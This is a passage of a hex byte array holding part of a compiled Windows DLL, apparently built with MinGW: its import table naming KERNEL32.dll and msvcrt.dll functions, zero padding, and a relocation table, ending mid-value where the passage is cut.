0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0x60,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x34,0x65,0x01,0x00,0x24,0x61,0x01,0x00,0x98,0x60,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xCC,0x65,0x01,0x00,0x80,0x61,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x62,0x01,0x00,0x1C,0x62,0x01,0x00,0x34,0x62,0x01,0x00,0x4C,0x62,0x01,0x00,0x5A,0x62,0x01,0x00,0x6A,0x62,0x01,0x00,0x7E,0x62,0x01,0x00,0x92,0x62,0x01,0x00,0xA4,0x62,0x01,0x00,0xB6,0x62,0x01,0x00,0xC6,0x62,0x01,0x00,0xD2,0x62,0x01,0x00,0xDE,0x62,0x01,0x00,0xFA,0x62,0x01,0x00,0x12,0x63,0x01,0x00,0x22,0x63,0x01,0x00,0x30,0x63,0x01,0x00,0x3C,0x63,0x01,0x00,0x44,0x63,0x01,0x00,0x52,0x63,0x01,0x00,0x64,0x63,0x01,0x00,0x74,0x63,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x63,0x01,0x00,0x92,0x63,0x01,0x00,0x9C,0x63,0x01,0x00,0xA8,0x63,0x01,0x00,0xB0,0x63,0x01,0x00,0xB8,0x63,0x01,0x00,0xC2,0x63,0x01,0x00,0xD0,0x63,0x01,0x00,0xDC,0x63,0x01,0x00,0xE4,0x63,0x01,0x00,0xEE,0x63,0x01,0x00,0xF6,0x63,0x01,0x00,0x00,0x64,0x01,0x00,0x0A,0x64,0x01,0x00,0x16,0x64,0x01,0x00,0x20,0x64,0x01,0x00,0x2A,0x64,0x01,0x00,0x34,0x64,0x01,0x00,0x3C,0x64,0x01,0x00,0x46,0x64,0x01,0x00,0x4E,0x64,0x01,0x00,0x58,0x64,0x01,0x00,0x62,0x64,0x01,0x00,0x6C,0x64,0x01,0x00,0x76,0x64,0x01,0x00,0x80,0x64,0x01,0x00,0x8C,0x64,0x01,0x00,0x94,0x64,0x01,0x00,0x9E,0x64,0x01,0x00,0xA8,0x64,0x01,0x00,0xB2,0x64,0x01,0x00,0xBC,0x64,0x01,0x00,0xC6,0x64,0x01,0x00,0xD2,0x64,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x62,0x01,0x00,0x1C,0x62,0x01,0x00,0x34,0x62,0x01,0x00,0x4C,0x62,0x01,0x00,0x5A,0x62,0x01,0x00,0x6A,0x62,0x01,0x00,0x7E,0x62,0x01,0x00,0x92,0x62,0x01,0x00,0xA4,0x62,0x01,0x00,0xB6,0x62,0x01,0x00,0xC6,0x62,0x01,0x00,0xD2,0x62,0x01,0x00,0xDE,0x62,0x01,0x00,0xFA,0x62,0x01,0x00,0x12,0x63,0x01,0x00,0x22,0x63,0x01,0x00,0x30,0x63,0x01,0x00,0x3C,0x63,0x01,0x00,0x44,0x63,0x01,0x00,0x52,0x63,0x01,0x00,0x64,0x63,0x01,0x00,0x74,0x63,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x63,0x01,0x00,0x92,0x63,0x01,0x00,0x9C,0x63,0x01,0x00,0xA8,0x63,0x01,0x00,0xB0,0x63,0x01,0x00,0xB8,0x63,0x01,0x00,0xC2,0x63,0x01,0x00,0xD0,0x63,0x01,0x00,0xDC,0x63,0x01,0x00,0xE4,0x63,0x01,0x00,0xEE,0x63,0x01,0x00,0xF6,0x63,0x01,0x00,0x00,0x64,0x01,0x00,0x0A,0x64,0x01,0x00,0x16,0x64,0x01,0x00,0x20,0x64,0x01,0x00,0x2A,0x64,0x01,0x00,0x34,0x64,0x01,0x00,0x3C,0x64,0x01,0x00,0x46,0x64,0x01,0x00,0x4E,0x64,0x01,0x00,0x58,0x64,0x01,0x00,0x62,0x64,0x01,0x00,0x6C,0x64,0x01,0x00,0x76,0x64,0x01,0x00,0x80,0x64,0x01,0x00,0x8C,0x64,0x01,0x00,0x94,0x64,0x01,0x00,0x9E,0x64,0x01,0x00,0xA8,0x64,0x01,0x00,0xB2,0x64,0x01,0x00,0xBC,0x64,0x01,0x00,0xC6,0x64,0x01,0x00,0xD2,0x64,0x01,0x00,0x00,0x00,0x00,0x00,0x26,0x00,0x41,0x74,0x74,0x61,0x63,0x68,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x00,0x13,0x01,0x44,0x65,0x6C,0x65,0x74,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x34,0x01,0x45,0x6E,0x74,0x65,0x72,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0xAF,0x01,0x46,0x72,0x65,0x65,0x4C,0x69,0x62,0x72,0x61,0x72,0x79,0x00,0x67,0x02,0x47,0x65,0x74,0x4C,0x61,0x73,0x74,0x45,0x72,0x72,0x6F,0x72,0x00,0x00,0x7B,0x02,0x47,0x65,0x74,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x41,0x00,0x00,0x7E,0x02,0x47,0x65,0x74,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x57,0x00,0x00,0xB4,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x00,0x00,0xBA,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x48,0x65,0x61,0x70,0x00,0x00,0xDA,0x02,0x47,0x65,0x74,0x53,0x74,0x64,0x48,0x61,0x6E,0x64,0x6C,0x65,0x00,0x00,0x4E,0x03,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x54,0x03,0x48,0x65,0x61,0x70,0x46,0x72,0x65,0x65,0x00,0x00,0x6B,0x03,0x49,0x6E,0x69,0x74,0x69,0x61,0x6C,0x69,0x7A,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0xCB,0x03,0x4C,0x65,0x61,0x76,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0xCF,0x03,0x4C,0x6F,0x61,0x64,0x4C,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x00,0xD8,0x03,0x4C,0x6F,0x63,0x61,0x6C,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xDD,0x03,0x4C,0x6F,0x63,0x61,0x6C,0x46,0x72,0x65,0x65,0x00,0x66,0x05,0x53,0x6C,0x65,0x65,0x70,0x00,0x89,0x05,0x54,0x6C,0x73,0x47,0x65,0x74,0x56,0x61,0x6C,0x75,0x65,0x00,0xB9,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x00,0xBC,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x00,0x00,0xF7,0x05,0x57,0x72,0x69,0x74,0x65,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x41,0x00,0x8E,0x00,0x5F,0x61,0x6D,0x73,0x67,0x5F,0x65,0x78,0x69,0x74,0x00,0x00,0xD1,0x00,0x5F,0x65,0x72,0x72,0x6E,0x6F,0x00,0x00,0x32,0x01,0x5F,0x69,0x6E,0x69,0x74,0x74,0x65,0x72,0x6D,0x00,0x36,0x01,0x5F,0x69,0x6F,0x62,0x00,0x00,0x99,0x01,0x5F,0x6C,0x6F,0x63,0x6B,0x00,0xE5,0x02,0x5F,0x75,0x6E,0x6C,0x6F,0x63,0x6B,0x00,0x00,0x03,0x5F,0x76,0x73,0x6E,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0x22,0x03,0x5F,0x77,0x63,0x73,0x69,0x63,0x6D,0x70,0x00,0x00,0x9D,0x03,0x61,0x62,0x6F,0x72,0x74,0x00,0xAA,0x03,0x63,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xCC,0x03,0x66,0x72,0x65,0x65,0x00,0x00,0xD9,0x03,0x66,0x77,0x72,0x69,0x74,0x65,0x00,0x00,0x07,0x04,0x6D,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x00,0x0A,0x04,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x00,0x00,0x0E,0x04,0x6D,0x65,0x6D,0x63,0x6D,0x70,0x00,0x00,0x0F,0x04,0x6D,0x65,0x6D,0x63,0x70,0x79,0x00,0x00,0x11,0x04,0x6D,0x65,0x6D,0x73,0x65,0x74,0x00,0x00,0x21,0x04,0x72,0x61,0x6E,0x64,0x00,0x00,0x22,0x04,0x72,0x65,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x32,0x04,0x73,0x72,0x61,0x6E,0x64,0x00,0x39,0x04,0x73,0x74,0x72,0x63,0x6D,0x70,0x00,0x00,0x40,0x04,0x73,0x74,0x72,0x6C,0x65,0x6E,0x00,0x00,0x43,0x04,0x73,0x74,0x72,0x6E,0x63,0x6D,0x70,0x00,0x44,0x04,0x73,0x74,0x72,0x6E,0x63,0x70,0x79,0x00,0x47,0x04,0x73,0x74,0x72,0x72,0x63,0x68,0x72,0x00,0x65,0x04,0x76,0x66,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0xCD,0x02,0x74,0x69,0x6D,0x65,0x00,0x00,0x7F,0x04,0x77,0x63,0x73,0x6C,0x65,0x6E,0x00,0x00,0x80,0x04,0x77,0x63,0x73,0x6E,0x63,0x61,0x74,0x00,0x83,0x04,0x77,0x63,0x73,0x6E,0x63,0x70,0x79,0x00,0x87,0x04,0x77,0x63,0x73,0x72,0x63,0x68,0x72,0x00,0x8A,0x04,0x77,0x63,0x73,0x73,0x74,0x72,0x00,0x00,0x8F,0x04,0x77,0x63,0x73,0x74,0x6F,0x6D,0x62,0x73,0x00,0x00,0x91,0x04,0x77,0x63,0x73,0x74,0x6F,0x75,0x6C,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x00,0x60,0x01,0x00,0x4B,0x45,0x52,0x4E,0x45,0x4C,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x14,0x60,0x01,0x00,0x6D,0x73,0x76,0x63,0x72,0x74,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x48,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0xBB,0x48,0x65,0xD0,0xBA,0x48,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x94,0x00,0x00,0x00,0x09,0x30,0x31,0x30,0x40,0x30,0x47,0x30,0x67,0x30,0x72,0x30,0xAD,0x30,0xDA,0x30,0xE5,0x30,0xF3,0x30,0x00,0x31,0x12,0x31,0x36,0x31,0x4B,0x31,0x56,0x31,0x60,0x31,0x82,0x31,0x92,0x31,0x9E,0x31,0xA5,0x31,0xBC,0x31,0xC3,0x31,0xCE,0x31,0x11,0x32,0x1A,0x32,0x74,0x32,0xB8,0x33,0xEC,0x33,0x0C,0x34,0x12,0x34,0x22,0x34,0x28,0x34,0x2E,0x34,0x36,0x34,0x3E,0x34,0x50,0x34,0x5D,0x34,0x69,0x34,0x70,0x34,0x79,0x34,0xA7,0x34,0xB2,0x34,0xB9,0x34,0xC6,0x34,0x24,0x38,0x2C,0x38,0x34,0x38,0x44,0x38,0x70,0x38,0x78,0x38,0x80,0x38,0x90,0x38,0xBC,0x38,0xC4,0x38,0xCC,0x38,0xDC,0x38,0x20,0x39,0x28,0x39,0x30,0x39,0x40,0x39,0x6C,0x39,0x74,0x39,0x7C,0x39,0x8C,0x39,0x16,0x3A,0x57,0x3F,0x71,0x3F,0xC2,0x3F,0xCE,0x3F,0xF8,0x3F,0x00,0x20,0x00,0x00,0x5C,0x00,0x00,0x00,0x0E,0x30,0xE8,0x30,0xFE,0x30,0x18,0x31,0x2E,0x31,0x3C,0x33,0x55,0x33,0x6B,0x33,0x84,0x33,0x9A,0x33,0xB3,0x33,0xC3,0x33,0xDC,0x33,0x67,0x35,0x81,0x35,0x72,0x36,0x8B,0x36,0x9F,0x36,0xB5,0x36,0xC9,0x36,0xDF,0x36,0xF3,0x36,0x09,0x37,0x43,0x37,0x5D,0x37,0x6A,0x37,0x84,0x37,0x91,0x37,0xAB,0x37,0x92,0x38,0xAB,0x38,0xDD,0x38,0xF6,0x38,0x28,0x39,0x41,0x39,0xC7,0x3B,0xF9,0x3B,0xF9,0x3C,0x3C,0x3E,0xBB,0x3E,0x6E,0x3F,0x00,0x00,0x00,0x30,0x00,0x00,0x48,0x00,0x00,0x00,0x3F,0x30,0xCF,0x30,0x20,0x32,0x4D,0x33,0x59,0x33,0xF5,0x33,0x01,0x34,0x4F,0x38,0x69,0x38,0x20,0x3A,0x39,0x3A,0x63,0x3A,0x8E,0x3A,0x9B,0x3A,0xB4,0x3A,0xE6,0x3A,0x01,0x3B,0x29,0x3B,0x53,0x3B,0x6C,0x3B,0x9C,0x3C,0xD5,0x3C,0x0E,0x3D,0x55,0x3D,0x6F,0x3D,0x91,0x3D,0x78,0x3F,0x91,0x3F,0xB5,0x3F,0xE0,0x3F,0xF9,0x3F,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x00,0x1C,0x30,0x38,0x30,0x44,0x30,0x81,0x30,0x9A,0x30,0xCE,0x30,0x88,0x32,0x94,0x32,0x06,0x33,0x1C,0x33,0x5E,0x33,0x8D,0x33,0xA3,0x33,0xF8,0x33,0x0E,0x34,0x7D,0x34,0x93,0x34,0x4D,0x35,0x21,0x37,0x2D,0x37,0x56,0x37,0x62,0x37,0xE8,0x37,0xF4,0x37,0xE7,0x38,0xF3,0x38,0xBD,0x3D,0xD6,0x3D,0x00,0x50,0x00,0x00,0x5C,0x00,0x00,0x00,0x74,0x30,0x80,0x30,0x02,0x31,0x0E,0x31,0x2A,0x31,0x36,0x31,0x63,0x31,0x79,0x31,0xFE,0x31,0x17,0x32,0x72,0x33,0x88,0x33,0xAC,0x33,0xE1,0x33,0xF7,0x33,0x33,0x34,0x49,0x34,0xE4,0x39,0x0A,0x3A,0x4A,0x3A,0x20,0x3B,0x3A,0x3B,0x61,0x3B,0xF2,0x3B,0xFE,0x3B,0x8A,0x3C,0xA3,0x3C,0xDF,0x3C,0xF5,0x3C,0x31,0x3D,0x4B,0x3D,0x72,0x3D,0x03,0x3E,0x0F,0x3E,0x99,0x3E,0xAF,0x3E,0xED,0x3E,0x06,0x3F,0x49,0x3F,0x63,0x3F,0x83,0x3F,0x00,0x00,0x00,0x60,0x00,0x00,0x54,0x00,0x00,0x00,0x14,0x30,0x20,0x30,0xAA,0x30,0xC0,0x30,0xFE,0x30,0x17,0x31,0xA6,0x31,0xB2,0x31,0xF3,0x36,0xFF,0x36,0xBD,0x37,0xC9,0x37,0xF2,0x37,0xFE,0x37,0x4D,0x38,0x63,0x38,0xC7,0x38,0xE0,0x38,0xFA,0x38,0x10,0x39,0x7A,0x39,0x93,0x39,0xFB,0x39,0x15,0x3A,0x75,0x3A,0x81,0x3A,0xFB,0x3A,0x14,0x3B,0x58,0x3B,0x6E,0x3B,0xF4,0x3B,0x0D,0x3C,0x9C,0x3C,0x0D,0x3D,0x23,0x3D,0xA0,0x3D,0xC9,0x3F,0xD5,0x3F,0x00,0x70,0x00,0x00,0x60,0x00,0x00,0x00,0x16,0x30,0x2C,0x30,0x69,0x30,0x7F,0x30,0xD9,0x31,0x67,0x32,0x5A,0x33,0xEB,0x33,0xF2,0x33,0xA3,0x35,0xFE,0x35,0x14,0x36,0x75,0x36,0x8E,0x36,0xD1,0x38,0xE7,0x38,0xFE,0x38,0x73,0x39,0x7F,0x39,0xA2,0x39,0xD2,0x39,0xEB,0x39,0x22,0x3A,0x6F,0x3B,0x76,0x3B,0xA6,0x3C,0xAD,0x3C,0xCA,0x3C,0xDF,0x3C,0xEB,0x3C,0x19,0x3D,0x2E,0x3D,0x3A,0x3D,0x7C,0x3D,0xB4,0x3D,0xCA,0x3D,0x32,0x3E,0x4B,0x3E,0x81,0x3E,0xFF,0x3E,0x18,0x3F,0x40,0x3F,0x72,0x3F,0xE4,0x3F,0x00,0x80,0x00,0x00,0x5C,0x00,0x00,0x00,0x89,0x30,0x91,0x30,0xAB,0x30,0xE8,0x30,0x5C,0x31,0x84,0x31,0x9B,0x31,0xCE,0x31,0xE4,0x31,0x52,0x32,0x6B,0x32,0xCB,0x32,0xE4,0x32,0x63,0x33,0x0F,0x34,0x25,0x34,0x74,0x34,0xC4,0x34,0xD7,0x35,0xE3,0x35,0xF8,0x35,0x04,0x36,0x69,0x36,0x83,0x36,0xA8,0x38,0xCB,0x38,0xD3,0x38,0x88,0x39,0x94,0x39,0x0C,0x3B,0x6B,0x3B,0x98,0x3C,0x44,0x3D,0x77,0x3E,0x8F,0x3E,0x08,0x3F,0x4A,0x3F,0x5F,0x3F,0x9B,0x3F,0xB3,0x3F,0xC0,0x3F,0x00,0x00,0x00,0x90,0x00,0x00,0x44,0x00,0x00,0x00,0x1A,0x37,0x36,0x37,0x42,0x37,0x62,0x37,0x7E,0x37,0x8A,0x37,0x5F,0x38,0x6B,0x38,0x94,0x38,0xA0,0x38,0x97,0x39,0x05,0x3A,0x1B,0x3A,0x83,0x3A,0x9C,0x3A,0x2F,0x3B,0x4E,0x3B,0x64,0x3B,0xB9,0x3B,0xB0,0x3C,0xC9,0x3C,0x2A,0x3D,0x43,0x3D,0x84,0x3D,0x9D,0x3D,0x24,0x3E,0x30,0x3E,0x4E,0x3E,0x5A,0x3E,0x00,0x00,0x00,0xA0,0x00,0x00,0x10,0x00,0x00,0x00,0xA7,0x35,0x1E,0x3D,0x38,0x3D,0x00,0x00,0x00,0xB0,0x00,0x00,0xC8,0x00,0x00,0x00,0x65,0x30,0x7B,0x30,0x57,0x31,0x70,0x31,0xAE,0x31,0xC7,0x31,0xB0,0x33,0xBC,0x33,0xEC,0x33,0x25,0x34,0xB3,0x34,0xBB,0x34,0xDA,0x34,0xE2,0x34,0x0D,0x35,0x15,0x35,0x34,0x35,0x3C,0x35,0x59,0x35,0x65,0x35,0xD4,0x35,0xDC,0x35,0xFB,0x35,0x03,0x36,0x20,0x36,0x2C,0x36,0x84,0x36,0x8C,0x36,0xAB,0x36,0xB3,0x36,0xDE,0x36,0xEA,0x36,0x12,0x37,0x6B,0x37,0x77,0x37,0x38,0x39,0x11,0x3A,0x2B,0x3A,0x37,0x3A,0x59,0x3A,0x73,0x3A,0x7F,0x3A,0xA0,0x3A,0xB1,0x3A,0xC2,0x3A,0x19,0x3B,0x25,0x3B,0x49,0x3B,0x4F,0x3B,0x65,0x3B,0xED,0x3B,0x2D,0x3C,0x3A,0x3C,0x79,0x3C,0x95,0x3C,0xB4,0x3C,0xD8,0x3C,0x00,0x3D,0x1B,0x3D,0x28,0x3D,0x2F,0x3D,0x48,0x3D,0x5A,0x3D,0x6E,0x3D,0x8B,0x3D,0xA2,0x3D,0xC6,0x3D,0xD8,0x3D,0xD